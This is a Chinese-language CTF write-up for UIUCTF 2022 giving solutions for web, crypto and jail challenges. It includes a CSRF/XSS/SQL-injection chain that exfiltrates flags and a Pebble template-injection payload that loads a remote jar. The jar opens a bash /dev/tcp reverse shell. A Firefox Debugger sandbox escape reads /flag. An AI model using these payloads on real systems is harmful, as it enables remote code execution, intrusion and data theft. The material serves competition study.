UIUCTF 2022 WriteUps

發表於
分類於 CTF

這次 TSJ 和 thehackerscrew 聯合參加了 UIUCTF,並拿到了第一名的成績。

web

woeby

這題基本上是 Wiby search engine 的 0day 題,因為網站的 url submission 要 admin review,所以還有弄個 headless chromium bot 去自動 review url。

此題出題時的 commit id 是 55fb0c3b8415a587c3eae4d897c47b5c2e2ae7eb

我解題的時候作者已經放出 hint 說這題會用到 csrf, xss 和 sqli,所以 check 一下 bot.js:

const { chromium } = require('playwright-chromium');
const { readFile }= require('node:fs/promises');

(async () => {
    console.log('reviewing submissions...')
    const browser = await chromium.launch()
    const context = await browser.newContext()
    context.setDefaultTimeout(2000)
    const page = await context.newPage()
    await page.goto('http://127.0.0.1/review/')

    // cheat to solve captcha... dont worry about it
    const phpsessid = (await context.cookies('http://127.0.0.1'))[0]['value']
    const sessData = await readFile(`/var/lib/php/sessions/sess_${phpsessid}`, 'utf8')
    const captcha = sessData.split('securimage_code_value|a:1:{s:7:"default";s:6:"')[1].substring(0,6)

    // login
    await page.fill('#user', 'admin')
    await page.fill('#pass', process.env.ADMIN_PASSWORD)
    await page.fill('input[name=captcha_code]', captcha)
    await page.click('#login')

    // do review!
    await page.locator('text=awaiting review').waitFor();
    // visit page
    await page.locator('a.tlink').last().click()
    await page.waitForTimeout(5000)
    // finish filling form
    await page.locator('input[name^=crawldepth]').last().fill('1')
    await page.locator('input[name^=crawlpages]').last().fill('5')
    await page.click('#submit')
    await browser.close()
    console.log('Success!')
})()

基本上就是登入 -> 點擊你的 url -> approve 之後讓 crawler 去 crawl。

然後看一下 review/review.php 可知它需要登入才能存取,但是它下面不遠的地方就有這段 code:

if (isset($_POST['startid']) && $_SESSION["loadreview"]==false)    
{    
	$startID = $_POST['startid'];
	$endID = $_POST['endid'];
}
// ....
if (isset($_POST['startid']) && $_SESSION["loadreview"]==false) //this is incase any new submissions are made during the review process, they will be ignored   
{  
	$result = mysqli_query($link,"SELECT * FROM reviewqueue WHERE id >= $startID AND id <= $endID");
	if(!$result)
	{
	  $error = 'Error fetching index: ' . mysqli_error($link);  
	  include 'error.html.php';  
	  exit(); 
	}
}

可以看出有個 sqli,可以用 csrf 很簡單的去觸發。因為 admin 才剛登入完成,只要在 Chromium 預設的兩分鐘內 csrf 就能不管預設的 SameSite: Lax 設定。

再來是能 sqli 的話也還是需要有辦法讀 response,而 csrf 正常是不能讀 response 的,所以還是需要 xss。不過這邊當它有 error 時 error message 就會直接被輸出到 html 中,所以用 sql syntax error 就能達成 xss 了。

因此目前的流程是 csrf -> sqli (achieve xss) -> sqli (get flag),payload 在下方:

<!-- <form action="http://localhost:1337/review/review.php" method="POST" id="frm"> -->
<form action="http://127.0.0.1/review/review.php" method="POST" id="frm">
    <textarea name="startid"></textarea>
</form>
<script>
    const xss = `(new Image).src=${JSON.stringify(location.href + '?xss')}
fetch('/review/review.php',{
    method: 'POST',
    body: new URLSearchParams({
        startid: 'extractvalue(1,concat(char(126),(select flag from flag1)))--'
    })
}).then(r=>r.text()).then(t=>{
    const target = ${JSON.stringify(location.href + '?response')}
    fetch(target,{
        method: 'POST',
        body: t,
        mode: 'no-cors'
    })
})
`
    window.name = xss
    frm.startid.value = `<script>eval(name)</`+`script>`
    frm.submit()
</script>
<img src="https://deelay.me/5000/https://picsum.photos/200/300">
uiuctf{cec1e609c

因為這題的 flag 分成兩個部分 flag1 和 flag2,得分別用 approvercrawler user 去 sqli 才能拿 flag。而 review.php 使用的是 approver,所以還得另外找 crawler 的 sqli 才行。

搜尋一下其他用 crawler db 連線的檔案可以發現 insert/insert.php 特別可疑,因為裡面沒有使用 mysqli_real_escape_string 而是自己 replace 的:

//	    $url = mysqli_real_escape_string($link, $_POST['url']);
		$url = str_replace("\'", "\'\'", $_POST['url']);
		$url = str_replace("\"", "\"\"", $url);
//		$title = mysqli_real_escape_string($link, $_POST['title']);
		$title = str_replace("\'", "\'\'", $_POST['title']);
		$title = str_replace("\"", "\"\"", $title);
//		$tags = mysqli_real_escape_string($link, $_POST['tags']);
		$tags = str_replace("\'", "\'\'", $_POST['tags']);
		$tags = str_replace("\"", "\"\"", $tags);
//		$description = mysqli_real_escape_string($link, $_POST['description']);
		$description = str_replace("\'", "\'\'", $_POST['description']);
		$description = str_replace("\"", "\"\"", $description);
//		$body = mysqli_real_escape_string($link, $_POST['body']);
		$body = str_replace("\'", "\'\'", $_POST['body']);
		$body = str_replace("\"", "\"\"", $body);
//		$http = mysqli_real_escape_string($link, $_POST['http']);
		$http = str_replace("\'", "\'\'", $_POST['http']);
		$http = str_replace("\"", "\"\"", $http);
//		$surprise = mysqli_real_escape_string($link, $_POST['surprise']);
		$surprise = str_replace("\'", "\'\'", $_POST['surprise']);
		$surprise = str_replace("\"", "\"\"", $surprise);
//		$worksafe = mysqli_real_escape_string($link, $_POST['worksafe']);
		$worksafe = str_replace("\'", "\'\'", $_POST['worksafe']);
		$worksafe = str_replace("\"", "\"\"", $worksafe);
//    	$enable = mysqli_real_escape_string($link, $_POST['enable']);
		$enable = str_replace("\'", "\'\'", $_POST['enable']);
		$enable = str_replace("\"", "\"\"", $enable);
//		$updatable = mysqli_real_escape_string($link, $_POST['updatable']);
		$updatable = str_replace("\'", "\'\'", $_POST['updatable']);
		$updatable = str_replace("\"", "\"\"", $updatable);

		$sql = 'INSERT INTO windex (url,title,tags,description,body,http,surprise,worksafe,enable,updatable,approver) 
	VALUES ("'.$url.'","'.$title.'","'.$tags.'","'.$description.'","'.$body.'","'.$http.'","'.$surprise.'","'.$worksafe.'","'.$enable.'","'.$updatable.'","'.$_SESSION["user"].'")';


		if (!mysqli_query($link, $sql))   
		{
		  $error = 'Error fetching index: ' . mysqli_error($link);  
		  include 'error.html.php';  
		  exit(); 
		}

這邊有幾個錯誤,第一個是它在 " 的字串中使用了 \',所以其實它根本不會 replace 到 ',不過因為下面 sql 使用的是 " 所以這樣沒用。再來是它沒擋 \,所以在能控制多個 input 的時候可以用 ("\","a",...) 這樣的方法產生 sql injection syntax error…?

實際測試之後卻完全得不到預期中的 syntax error,之後 docker-compose exec 進去裡面的 mysql 做一些測試會發現很神奇的事:

mysql> select "peko\";
+-------+
| peko\ |
+-------+
| peko\ |
+-------+
1 row in set (0.00 sec)

可以發現它直接把 \ 給整個 ignore 了,但是另外開 docker container 裡面跑 mysql 卻不會這樣。這樣奇妙的狀況讓我在這個地方卡了一段時間,

後來繼續 google 了很多東西看到了這個 5.1.11 Server SQL Modes,裡面有個 NO_BACKSLASH_ESCAPES 會把 mysql 的 \ escape 給禁用。而在題目的 mysql 裡面直接執行 SELECT @@GLOBAL.sql_mode; 也就發現它確實是在這個模式下。

檢查了一下 Dockerfile 也看到它確實有設定 NO_BACKSLASH_ESCAPES,而這個是這個 Wiby search engine 安裝設定所要求的,所以這是很正常的。但是這樣的話就代表我們沒辦法在這邊 sql injection 了。

後來繼續查 NO_BACKSLASH_ESCAPES 和 sql injection 可以找到這個回答,它精簡來說就是:

NO_BACKSLASH_ESCAPES 啟用的情況下,mysql_real_escape_string 並不知道你之後會使用的是 single quotes 還是 double quotes,而它預設情況下會做的事就是假設你後面都使用 ',所以它只會把 ' replace 成為 ''。而遇到 " 的時候什麼都不會做!!!

所以後來再翻一翻其他使用 crawler user 登入的 tags/tags.php,裡面雖然用 mysqli_real_escape_string escape 了 url,但是後面 concat query 的地方使用的是 double quotes:

$url = mysqli_real_escape_string($link, $_POST['url']);
// ...
$result = mysqli_query($link,'SELECT tags FROM windex WHERE url = "'.$url.'";');

所以在 url 中塞 double quotes 就能直接 sqli 了。剩下因為這個檔案也是需要登入後才能存取,所以一樣是需要用前面的 xss 才行。

<!-- <form action="http://localhost:1337/review/review.php" method="POST" id="frm"> -->
<form action="http://127.0.0.1/review/review.php" method="POST" id="frm">
	<textarea name="startid"></textarea>
</form>
<script>
	const xss = `(new Image).src=${JSON.stringify(location.href + '?xss')}
    fetch('/tags/tags.php',{
        method: 'POST',
        body: new URLSearchParams({
            url: '" and extractvalue(1,concat(char(126),(select flag from flag2)))-- '
        })
    }).then(r=>r.text()).then(t=>{
        const target = ${JSON.stringify(location.href + '?response')}
        fetch(target,{
            method: 'POST',
            body: t,
            mode: 'no-cors'
        })
    })
    `
	window.name = xss
	frm.startid.value = `<script>eval(name)</` + `script>`
	frm.submit()
</script>
<img src="https://deelay.me/5000/https://picsum.photos/200/300" />
ef0e05add463c52}

spoink

這題基本上是 java 的 LFI,使用的 template engine 是 Pebble Templates

首先題目沒有上傳點,所以可知大概要使用 file upload 然後 lfi temp file 才行。測試一下會知道上傳的檔案 socket file 會出現在 /proc/1/fd/? 的地方,不過存在時間很短。這部分自己測試發現很單純的暴力 spam 是能成功的:

while true; do curl 'https://inst-a5ff46b6db9c5682.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/16' -F 'a=@payload' -s & ; done

之後拿 Hacktricks SSTI 的 Pebble 直接來用會失敗:

{% set cmd = 'id' %}



{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

查了一下它的 error 會找到 BlacklistMethodAccessValidator#isMethodAccessAllowed,裡面禁止了所有 object 屬於 Class 時的 method access,所以我也想不到能怎麼繞。

卡在這邊的時候 THS 的 fredd 丟了一篇 Room for Escape: Scribbling Outside the Lines of Template Security,裡面探討了各種 template engine 的安全性。裡面還表示說有 Pebble 那個保護的繞過方法,但是卻因為 The Pebble team is still fixing several bypasses we found for Pebble sandbox. Details will be released on a future date. 所以沒有現成的 payload 能用…

不過那篇文章中也有許多其他有用的資訊,像是告訴我了 Pebble 會 expose Spring Beans 的東西。而裡面有個 request 物件是 ServletRequest 相關的物件,參考文章使用了 getAttributeNames() 看看有沒有甚麼有趣的物件,然後就找到一個拿到 ClassLoader 的方法:

{{ request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader }}

拿到 ClassLoader 代表我們可以任意拿 class,但是因為沒辦法直接 call Class 的 methods,所以也不知道能做什麼。

後來繼續讀那邊在裡面找到了一個這樣的玩法 (非 Pebble):

<#assign urlClassloader=car.class.protectionDomain.classLoader>
<#assign urls=urlClassloader.getURLs()>
<#assign url= URLs[0].toURI().resolve("https://attack.er/pwn.jar").toURL()>
<#assign pwnClassLoader=loader.newInstance(urls+[url])>
<#assign VOID=pwnClassLoader.loadClass("Pwn").getField("PWN").get(null)>

這邊我們知道可以 load remote jar 下來,所以我就想說能不能在 loadClass 時達成 RCE。經過一番的嘗試後也真的能把我自己寫的 class load 進來,但是我寫在 static initializer 的 code 卻沒被執行。

研究了一下找到了這個問題,才知道原來 Java 的 class 有分 loaded 和 initialized,而 static initializer 在 loaded 狀態時還不會執行,所以要讓它成為 initialized。

然而讓一個 class 能 initialized 的方法好像只有兩個,一個是 newInstance,不然就是要 Class.forName,兩個我都做不到。所以又只好回去讀那篇文章,看有沒有什麼其他東西能用。

然後就在它 Web Application ClassLoaders 的章節看到 Tomcat ClassLoader 有 getResources() 能用,然後再串 getContext()getInstanceManager() 就拿到了 InstanceManager。它上面有個 newInstance 能用,所以直接用它來幫我 remote 載入下來的 class 去 newInstance 就能 RCE 了。

{% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %}
{% set pb = cl.loadClass("java.lang.ProcessBuilder") %}
{% set ar = cl.getURLs() %}
{% set urls = cl.parent.getURLs() %}
{% set im = cl.getResources().getContext().getInstanceManager() %}
{% for url in urls %}
{% set u =
url.toURI().resolve("REMOTE_JAR_URL").toURL() %}
{% set l = [u] %}
{% set ar = l.toArray(ar) %}
{% set jcl = cl.newInstance(ar) %}
{% set c = jcl.loadClass("Pwn") %}
{{ c }}
{{ im.newInstance(c) }}
{% endfor %}

jar 的部分很簡單:

import java.lang.System;
import java.lang.Runtime;

public class Pwn {
    static {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }

    public static void main(String[] args) { }
}
// javac Pwn.java
// jar cf pwn.jar Pwn.class

另外後來問作者關於我暴力上傳那部分是對的嗎,而作者說可以直接讓 upload 卡住就行了。就 multipart form data 的檔案不要讓它結束掉,而是讓它卡著,然後另外發送一個 request 去 LFI 即可。

from pwn import *

host = "inst-29c2fc660ac14e62.spoink.chal.uiuc.tf"
port = 443

payload = b"""
{% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %}
{% set pb = cl.loadClass("java.lang.ProcessBuilder") %}
{% set ar = cl.getURLs() %}
{% set urls = cl.parent.getURLs() %}

{% set im = cl.getResources().getContext().getInstanceManager() %}

{% for url in urls %}
{% set u =
url.toURI().resolve("REMOTE_JAR_URL").toURL() %}
{% set l = [u] %}
{% set ar = l.toArray(ar) %}
{% set jcl = cl.newInstance(ar) %}
{% set c = jcl.loadClass("Pwn") %}
{{ c }}
{{ im.newInstance(c) }}
{% endfor %}
"""
payload += b"x" * 1337

body = b"-----------------------------606f6c40cdbf678a\r\n"
body += b'Content-Disposition: form-data; name="lolz"\r\n'
body += b"\r\n"
body += payload

# do not end content disposition
# body += b"-----------------------------606f6c40cdbf678a--\r\n"
# body += b"\r\n"

p = b"POST / HTTP/1.1\r\n"
p += f"Host: {host}\r\n".encode()
p += b"Content-Type: multipart/form-data; boundary=---------------------------606f6c40cdbf678a\r\n"
p += "Content-Length: {}\r\n\r\n".format(len(body) + 1000).encode()
p += body

# io = remote(host, port)
io = remote(host, port, ssl=True)
io.send(p)
for _ in range(1000):
    print(_)
    sleep(0.1)
    io.send(b"a")
io.interactive()

# then run this in another terminal
# curl 'https://inst-29c2fc660ac14e62.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/14'
# the number `14` can be changed

另外這邊是這題的另一個 writeup 可以參考: https://blog.arkark.dev/2022/08/01/uiuctf/ (日本語)

crypto

asr

這題是個 RSA 題,題目提供了 e,de,dcme(modn)c \equiv m^e \pmod{n},反而沒有 public key 的 nn

prime 生成部分如下:

small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
def gen_prime(bits, lim = 7, sz = 64):
    while True:
        p = prod([getPrime(sz) for _ in range(bits//sz)])
        for i in range(lim):
            if isPrime(p+1):
                return p+1
            p *= small_primes[i]

p = gen_prime(512)
q = gen_prime(512)

從這邊可以知道 p1,q1p-1, q-1 都是 2642^{64} smooth,同時 ed1ed-1 也是 (p1)(q1)(p-1)(q-1) 的倍數,所以用 ecm 分解一下就出來了。

得到 ed1ed-1 的分解之後知道它正好有 16 個 64 bits prime,所以 (168)\binom{16}{8} 種組合都爆破,然後多承那些 small primes 回去之後加一,如果是質數的話就有可能是 ppqq 了。

因為 flag 長度應該不長,所以只要得到一個 pp 或是 qq 其實就足夠了。

from itertools import combinations
from Crypto.Util.number import isPrime, long_to_bytes

e = 65537
d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473
ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285

kphi = e*d-1
print(kphi)
# ecm.factor(kphi)
fact = [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 5, 5, 5, 7, 7, 11, 10357495682248249393, 10441209995968076929, 10476183267045952117, 11157595634841645959, 11865228112172030291, 12775011866496218557, 13403263815706423849, 13923226921736843531, 14497899396819662177, 14695627525823270231, 15789155524315171763, 16070004423296465647, 16303174734043925501, 16755840154173074063, 17757525673663327889, 18318015934220252801]
big = [f for f in fact if f > 100]
small = sorted(list(set([f for f in fact if f < 100])))

small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
for ps in combinations(big, 8):
    p = product(ps)
    for i in range(len(small)):
        p *= small_primes[i]
        if isPrime(p+1):
            print('pr', p+1)
            print(long_to_bytes(power_mod(ct, d, p+1)))
# uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}

*Wringing Rings

比賽中沒解,紀錄一下我用的不同解法

這題有個 Z\mathbf{Z} 的九次多項式 f(x)f(x),然後給予你九個 SSS 的 share,目標要得到 f(0)f(0)。且多項式的係數 aia_i 都在 [1,500000][1,500000] 的 範圍中。

一個直接的解法是爆第十個 share,然後嘗試插值之後看看符不符合範圍。或是列矩陣出來得到一個解,然後加上 kernel 去爆一下也可以,兩個解法都差不多。

我的作法是一樣列出矩陣,但是直接 LLL 就得到解了,因為係數的那個範圍其實不大,所以預期為 shortest vector,然後也真的能成:

from pwn import *
from sage.all import *
import ast

# io = process(["python", "server.py"])
io = remote("ring.chal.uiuc.tf", 1337)
io.recvuntil(b'polynomial: \n')
xs = []
ys = []
for _ in range(9):
    x, y = ast.literal_eval(io.recvlineS().strip())
    xs.append(x)
    ys.append(y)

print(xs)
print(ys)
M = matrix([[x**i for i in range(9 + 1)] for x in xs])
M = M.T.stack(vector(ys))
M = M.augment(matrix.identity(11))
M[:,:9] *= 2 ** 32
sol = -M.LLL()[0][9:-1]
io.sendline(str(sol[0]).encode())
io.interactive()
# uiuctf{turn5_0ut_th4t_th3_1nt3g3r5_4l50_5uck}

另外在 cryptohack 的 discord 有看到有人用 crt,但我並不是很理解那個做法。

jail

Firefox Shell 1

這題是一個在 Firefox 的 SpiderMonkey 上的 jail escape,作者不僅把 node.js 的 REPL port 到了上面,還多加了一個 .debug 指令能讓我們得到 Debugger API 的使用權。

這題和這個的第二題不同的地方在於它沒有設定一個 hardened 的選項,而那影響到的是 repl.js 的這邊:

case '.debug':
  const target = this.getTarget();
  const debuggerSandboxUnpriv = Cu.waiveXrays(
    Cu.Sandbox(target, {
      freshCompartment: true,
      wantXrays: false,
    })
  );
  addDebuggerToGlobal(debuggerSandboxUnpriv);

  const principal = Cu.getObjectPrincipal(this.getTarget());
  if (!principal.isSystemPrincipal && Configuration.hardened) {
    delete debuggerSandboxUnpriv.Debugger.prototype.addAllGlobalsAsDebuggees;
    delete debuggerSandboxUnpriv.Debugger.prototype.findAllGlobals;
    delete debuggerSandboxUnpriv.Debugger.prototype.onNewGlobalObject;
  }

  Cu.waiveXrays(target).Debugger = debuggerSandboxUnpriv.Debugger;
  return true;

可以知道它會移除掉三個額外的函數,所以關鍵明顯是和這三個函數有關。讀一下 Debugger Object 能知道說這三個 api 都是和 privileged code 有關。

.debug
dbg=new Debugger()
dbg.addAllGlobalsAsDebuggees()
a=dbg.getDebuggees()

用上面的 code 測試一下會發現 a 裡面會跑出很多物件,對照了一下它的 prototype 可知它是 Debugger.Object 物件,有點像是 debuggee 中的物件的一層 proxy,可以透過它操作很多東西。

跑一下 a.map(x=>x.getOwnPropertyNames()) 會發現很多有趣的東西,其中還有幾個物件擁有 Cu 之類的東西出現,而那東西看起來就像是 privileged api 之類的功能,但是問題在於我們不知道怎麼使用那東西。

首先是它可以使用 x.getProperty(...).return 去取得其他的 proxy 物件,不過其實還有個更好使用的 executeInGlobal 能讓你在那個 context 下 eval。

再來 Google 一下可以查到像是 How to read a local file in an add-on for Firefox version 45+,裡面就有簡單的範例說明怎麼用 Cu 之類的物件,所以拼湊一下就能撈出 flag 了。

.debug
dbg=new Debugger();
dbg.addAllGlobalsAsDebuggees()
a=dbg.getDebuggees()
for(const x of a){
    if(x.getOwnPropertyNames().includes('Cu')){
        globalThis.p=x.executeInGlobal(`
Cu.import("resource://gre/modules/osfile.jsm", {}).OS.File.read("/flag")
        `).return
        break
    }
}
u8=globalThis.p.promiseValue
ar=[]
for(let i=0;i<u8.getProperty('length').return;i++){
    ar.push(u8.getProperty(i).return)
}
ar.map(x=>String.fromCharCode(x)).join('')
// uiuctf{why_mozilla_why_docs_either_deleted_or_bad_3466658a}

另外後來作者還有加說明表示說如果得到了 privilege escalation 之後就沒有 SOP 了,所以直接 fetch("file:///flag") 其實就夠了。如果 global 沒有 fetch 的話就 Cu.importGlobalProperties(['fetch'])